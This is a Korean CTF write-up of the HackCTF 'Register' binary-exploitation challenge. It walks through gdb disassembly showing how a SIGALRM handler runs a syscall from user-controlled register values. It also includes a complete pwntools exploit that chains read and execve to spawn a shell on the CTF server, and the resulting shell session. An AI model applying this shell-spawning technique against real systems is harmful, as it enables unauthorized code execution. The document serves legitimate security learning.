본문 바로가기

CTF_Write_UP/HackCTF

[HackCTF] Register

시작

안녕하세요 :D

정보보안산업기사 실기가 점점 다가와요.. 이론 공부만 하면 지겨우니깐 머리 식힐 겸 포너블 풀어봤어요 ㅎㅎ

일단 이 문제 풀면서 새로운 함수를 알았어요. 시그널 처리하는 구문도 처음 봤고..

시작해봐요!!

Write UP

root@goorm:/workspace/LCH_Server/HackCTF/27.Register# ./register
RAX: 0
RDI: 0
RSI: 0
RDX: 0
RCX: 0
R8: 0
R9: 0
RAX: 0
RDI: 0
RSI: 0
RDX: 0

실행하면 RAX, RDI, RSI.. 순으로 입력을 받습니다.

얘네가 진짜 레지스터에 들어가는 값인지 확인해볼 필요가 있겠습니다.

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

보호기법엔 카나리가 추가되었네요.

gdb-peda$ pd main
Dump of assembler code for function main:
   0x0000000000400ad7 <+0>:     push   rbp
   0x0000000000400ad8 <+1>:     mov    rbp,rsp
   0x0000000000400adb <+4>:     mov    edi,0x5
   0x0000000000400ae0 <+9>:     call   0x400650 <alarm@plt>
   0x0000000000400ae5 <+14>:    mov    rax,QWORD PTR [rip+0x200594]        # 0x601080 <stdout@@GLIBC_2.2.5>
   0x0000000000400aec <+21>:    mov    ecx,0x0
   0x0000000000400af1 <+26>:    mov    edx,0x2
   0x0000000000400af6 <+31>:    mov    esi,0x0
   0x0000000000400afb <+36>:    mov    rdi,rax
   0x0000000000400afe <+39>:    call   0x400690 <setvbuf@plt>
   0x0000000000400b03 <+44>:    mov    eax,0x0
   0x0000000000400b08 <+49>:    call   0x400a39 <build>
   0x0000000000400b0d <+54>:    mov    eax,0x0
   0x0000000000400b12 <+59>:    pop    rbp
   0x0000000000400b13 <+60>:    ret
End of assembler dump.

단순히 build()를 호출하는 main() 함수지만 위에 alarm(5)가 보이네요. 무심코 넘어가지 말고 잘 체크해둡시다.

gdb-peda$ pd build
Dump of assembler code for function build:
   0x0000000000400a39 <+0>:     push   rbp
   0x0000000000400a3a <+1>:     mov    rbp,rsp
   0x0000000000400a3d <+4>:     sub    rsp,0x40
   0x0000000000400a41 <+8>:     mov    rax,QWORD PTR fs:0x28
   0x0000000000400a4a <+17>:    mov    QWORD PTR [rbp-0x8],rax
   0x0000000000400a4e <+21>:    xor    eax,eax
   0x0000000000400a50 <+23>:    mov    esi,0x4007f1
   0x0000000000400a55 <+28>:    mov    edi,0xe
   0x0000000000400a5a <+33>:    call   0x400680 <signal@plt>
   0x0000000000400a5f <+38>:    lea    rax,[rbp-0x40]
   0x0000000000400a63 <+42>:    mov    rdi,rax
   0x0000000000400a66 <+45>:    call   0x4008be <get_obj>
   0x0000000000400a6b <+50>:    mov    rax,QWORD PTR [rbp-0x40]
   0x0000000000400a6f <+54>:    mov    QWORD PTR [rip+0x20062a],rax        # 0x6010a0 
   0x0000000000400a76 <+61>:    mov    rax,QWORD PTR [rbp-0x38]
   0x0000000000400a7a <+65>:    mov    QWORD PTR [rip+0x200627],rax        # 0x6010a8 <obj+8>
   0x0000000000400a81 <+72>:    mov    rax,QWORD PTR [rbp-0x30]
   0x0000000000400a85 <+76>:    mov    QWORD PTR [rip+0x200624],rax        # 0x6010b0 <obj+16>
   0x0000000000400a8c <+83>:    mov    rax,QWORD PTR [rbp-0x28]
   0x0000000000400a90 <+87>:    mov    QWORD PTR [rip+0x200621],rax        # 0x6010b8 <obj+24>
   0x0000000000400a97 <+94>:    mov    rax,QWORD PTR [rbp-0x20]
   0x0000000000400a9b <+98>:    mov    QWORD PTR [rip+0x20061e],rax        # 0x6010c0 <obj+32>
   0x0000000000400aa2 <+105>:   mov    rax,QWORD PTR [rbp-0x18]
   0x0000000000400aa6 <+109>:   mov    QWORD PTR [rip+0x20061b],rax        # 0x6010c8 <obj+40>
   0x0000000000400aad <+116>:   mov    rax,QWORD PTR [rbp-0x10]
   0x0000000000400ab1 <+120>:   mov    QWORD PTR [rip+0x200618],rax        # 0x6010d0 <obj+48>
   0x0000000000400ab8 <+127>:   mov    rax,QWORD PTR [rbp-0x40]
   0x0000000000400abc <+131>:   mov    rdi,rax
   0x0000000000400abf <+134>:   call   0x4009cc <validate_syscall_obj>
   0x0000000000400ac4 <+139>:   test   eax,eax
   0x0000000000400ac6 <+141>:   jne    0x400ad4 <build+155>
   0x0000000000400ac8 <+143>:   mov    edi,0xe
   0x0000000000400acd <+148>:   call   0x400620 <raise@plt>
   0x0000000000400ad2 <+153>:   jmp    0x400a5f <build+38>
   0x0000000000400ad4 <+155>:   nop
   0x0000000000400ad5 <+156>:   jmp    0x400a5f <build+38>
End of assembler dump.

큰 그림으로 보면 0x6010a0 부터 QWORD 단위로 값을 넣어줍니다.

느낌 상 여기부터 우리의 입력값이 들어가겠네요.

gdb-peda$ pd validate_syscall_obj
Dump of assembler code for function validate_syscall_obj:
   0x00000000004009cc <+0>:     push   rbp
   0x00000000004009cd <+1>:     mov    rbp,rsp
   0x00000000004009d0 <+4>:     mov    QWORD PTR [rbp-0x18],rdi
   0x00000000004009d4 <+8>:     mov    rax,QWORD PTR [rbp-0x18]
   0x00000000004009d8 <+12>:    cmp    rax,0x2
   0x00000000004009dc <+16>:    je     0x400a11 <validate_syscall_obj+69>
   0x00000000004009de <+18>:    cmp    rax,0x2
   0x00000000004009e2 <+22>:    jg     0x4009f1 <validate_syscall_obj+37>
   0x00000000004009e4 <+24>:    test   rax,rax
   0x00000000004009e7 <+27>:    je     0x4009ff <validate_syscall_obj+51>
   0x00000000004009e9 <+29>:    cmp    rax,0x1
   0x00000000004009ed <+33>:    je     0x400a08 <validate_syscall_obj+60>
   0x00000000004009ef <+35>:    jmp    0x400a2c <validate_syscall_obj+96>
   0x00000000004009f1 <+37>:    cmp    rax,0x3
   0x00000000004009f5 <+41>:    je     0x400a1a <validate_syscall_obj+78>
   0x00000000004009f7 <+43>:    cmp    rax,0x3c
   0x00000000004009fb <+47>:    je     0x400a23 <validate_syscall_obj+87>
   0x00000000004009fd <+49>:    jmp    0x400a2c <validate_syscall_obj+96>
   0x00000000004009ff <+51>:    mov    DWORD PTR [rbp-0x4],0x0
   0x0000000000400a06 <+58>:    jmp    0x400a34 <validate_syscall_obj+104>
   0x0000000000400a08 <+60>:    mov    DWORD PTR [rbp-0x4],0x0
   0x0000000000400a0f <+67>:    jmp    0x400a34 <validate_syscall_obj+104>
   0x0000000000400a11 <+69>:    mov    DWORD PTR [rbp-0x4],0x0
   0x0000000000400a18 <+76>:    jmp    0x400a34 <validate_syscall_obj+104>
   0x0000000000400a1a <+78>:    mov    DWORD PTR [rbp-0x4],0x0
   0x0000000000400a21 <+85>:    jmp    0x400a34 <validate_syscall_obj+104>
   0x0000000000400a23 <+87>:    mov    DWORD PTR [rbp-0x4],0x0
   0x0000000000400a2a <+94>:    jmp    0x400a34 <validate_syscall_obj+104>
   0x0000000000400a2c <+96>:    mov    DWORD PTR [rbp-0x4],0x1
   0x0000000000400a33 <+103>:   nop
   0x0000000000400a34 <+104>:   mov    eax,DWORD PTR [rbp-0x4]
   0x0000000000400a37 <+107>:   pop    rbp
   0x0000000000400a38 <+108>:   ret
End of assembler dump.

이 함수는 rbp-0x4 변수에 0을 넣어주냐, 1을 넣어주냐로 갈려요.

이 변수는 결론적으로 리턴값이 됩니다.

   0x0000000000400ac4 <+139>:   test   eax,eax
   0x0000000000400ac6 <+141>:   jne    0x400ad4 <build+155>
   0x0000000000400ac8 <+143>:   mov    edi,0xe
   0x0000000000400acd <+148>:   call   0x400620 <raise@plt>
   0x0000000000400ad2 <+153>:   jmp    0x400a5f <build+38>
   0x0000000000400ad4 <+155>:   nop
   0x0000000000400ad5 <+156>:   jmp    0x400a5f <build+38>

다시 build() 함수에요. validate_syscall_obj()의 리턴값이 0이면 raise(14)를 실행하고, 아니면 다시 윗부분으로 jmp하네요.

여기까지만 봤을 때 딱히 오버플로우나 leak할 부분은 보이지 않아요.

   0x0000000000400a50 <+23>:    mov    esi,0x4007f1
   0x0000000000400a55 <+28>:    mov    edi,0xe
   0x0000000000400a5a <+33>:    call   0x400680 <signal@plt>

build() 함수의 일부입니다.

signal(14, 0x4007f1) 구문에서 0x4007f1은 뭐하는 녀석일까요?

gdb-peda$ pd 0x4007f1
Dump of assembler code from 0x4007f1 to 0x400811::      Dump of assembler code from 0x4007f1 to 0x400811:
   0x00000000004007f1 <handler+0>:      push   rbp
   0x00000000004007f2 <handler+1>:      mov    rbp,rsp
   0x00000000004007f5 <handler+4>:      sub    rsp,0x8
   0x00000000004007f9 <handler+8>:      mov    DWORD PTR [rbp-0x4],edi
   0x00000000004007fc <handler+11>:     mov    edi,0x6010a0
   0x0000000000400801 <handler+16>:     call   0x4007c6 <exec_syscall_obj>
   0x0000000000400806 <handler+21>:     nop
   0x0000000000400807 <handler+22>:     leave
   0x0000000000400808 <handler+23>:     ret
   0x0000000000400809 <get_inp+0>:      push   rbp
   0x000000000040080a <get_inp+1>:      mov    rbp,rsp
   0x000000000040080d <get_inp+4>:      sub    rsp,0x20
End of assembler dump.
gdb-peda$ pd exec_syscall_obj
Dump of assembler code for function exec_syscall_obj:
   0x00000000004007c6 <+0>:     push   rbp
   0x00000000004007c7 <+1>:     mov    rbp,rsp
   0x00000000004007ca <+4>:     mov    QWORD PTR [rbp-0x8],rdi
   0x00000000004007ce <+8>:     mov    rbx,rdi
   0x00000000004007d1 <+11>:    mov    rax,QWORD PTR [rbx]
   0x00000000004007d4 <+14>:    mov    rdi,QWORD PTR [rbx+0x8]
   0x00000000004007d8 <+18>:    mov    rsi,QWORD PTR [rbx+0x10]
   0x00000000004007dc <+22>:    mov    rdx,QWORD PTR [rbx+0x18]
   0x00000000004007e0 <+26>:    mov    rcx,QWORD PTR [rbx+0x20]
   0x00000000004007e4 <+30>:    mov    r8,QWORD PTR [rbx+0x28]
   0x00000000004007e8 <+34>:    mov    r9,QWORD PTR [rbx+0x30]
   0x00000000004007ec <+38>:    syscall
   0x00000000004007ee <+40>:    nop
   0x00000000004007ef <+41>:    pop    rbp
   0x00000000004007f0 <+42>:    ret
End of assembler dump.

handler()에서 exec_syscall_obj(0x6010a0)을 호출합니다.

0x6010a0 영역은 build 함수에서 입력값을 넣어주었던 부분이에요. 따라서 레지스터에 맞게 들어간다는 겁니다!!

여기를 호출해야겠네요.

 


 

이 문제의 핵심은 signal(14, 0x4007f1)에 있습니다.

이 코드를 해석하면 “14번 시그널이 왔을 때, 0x4007f1을 처리해라” 라는 의미에요.

14번 시그널은 alarm입니다. main()에 있던 그거에요.

   0x0000000000400ac4 <+139>:   test   eax,eax
   0x0000000000400ac6 <+141>:   jne    0x400ad4 <build+155>
   0x0000000000400ac8 <+143>:   mov    edi,0xe
   0x0000000000400acd <+148>:   call   0x400620 <raise@plt>
   0x0000000000400ad2 <+153>:   jmp    0x400a5f <build+38>
   0x0000000000400ad4 <+155>:   nop
   0x0000000000400ad5 <+156>:   jmp    0x400a5f <build+38>

build() 함수에도 있었죠? raise(14), 14번 시그널을 보내는 코드가 말이죠.

결론적으로 14번 시그널을 프로그램에 보낸다면 처리 루틴이 handler() 함수로 이동할 것이고, syscall이 실행됩니다.

우리는 “/bin/sh”를 넣을 sys_read()와, 쉘을 실행할 sys_execve() 함수가 필요하기 때문에

2번의 시그널을 보내줘야 해요.

우선 첫 번째!! read()를 실행하기 위한 RAX 값은 0인데, 얘는 validate_syscall_obj()에서 비교구문에 걸려

rbp-0x4 변수가 0으로 세팅되고, 이는 build() 함수에서 test eax, eax / jmp 구문을 타고 raise(14)를 발생시킵니다.

그리고 두 번째, main() 함수의 alarm(5)에 의해 5초 후 다시 14번 시그널이 발생해요.

따라서 일정 시간이 지난 후 페이로드를 보내면 쉘이 떨어질 것 같습니다.

코드입니다.

from pwn import *

#context.log_level = "debug"

#p = process("./register")
p = remote("ctf.j0n9hyun.xyz", 3026)

bss = 0x601080

p.recvuntil("RAX: ")
p.sendline("0")
p.recvuntil("RDI: ")
p.sendline("0")
p.recvuntil("RSI: ")
p.sendline("6295780")
p.recvuntil("RDX: ")
p.sendline("8")
p.recvuntil("RCX: ")
p.sendline("0")
p.recvuntil("R8: ")
p.sendline("0")
p.recvuntil("R9: ")
p.sendline("0")

p.send("/bin/sh\x00")

sleep(4)
p.recvuntil("RAX: ")
p.sendline("59")
p.recvuntil("RDI: ")
p.sendline("6295780")
p.recvuntil("RSI: ")
p.sendline("0")
p.recvuntil("RDX: ")
p.sendline("0")
p.recvuntil("RCX: ")
p.sendline("0")
p.recvuntil("R8: ")
p.sendline("0")
p.recvuntil("R9: ")
p.sendline("0")

p.interactive()

타이밍 맞추는 게 중요합니다!! 저는 4초 기다린 후 페이로드를 보냈어요.

[+] Opening connection to ctf.j0n9hyun.xyz on port 3026: Done
[*] Switching to interactive mode
RAX: $ ls
flag
main
$ cat flag
//flag!!!

Exploit!!

마무리

처음엔 어디를 leak 해야할 지 몰라서 당황했는데, 해답은 signal() 함수에 있었습니다.

신기한 문제였네요.. 시그널을 활용한 문제는 처음 풀어봤어요 ㅋㅋㅋㅋ

감사합니다 :D

'CTF_Write_UP > HackCTF' 카테고리의 다른 글

[HackCTF] You are silver  (0) 2019.11.02
[HackCTF] World Best Encryption Tool  (0) 2019.10.22
[HackCTF] RTC  (0) 2019.10.12
[HackCTF] SysROP  (0) 2019.10.12
[HackCTF] Unexploitable #1  (0) 2019.10.10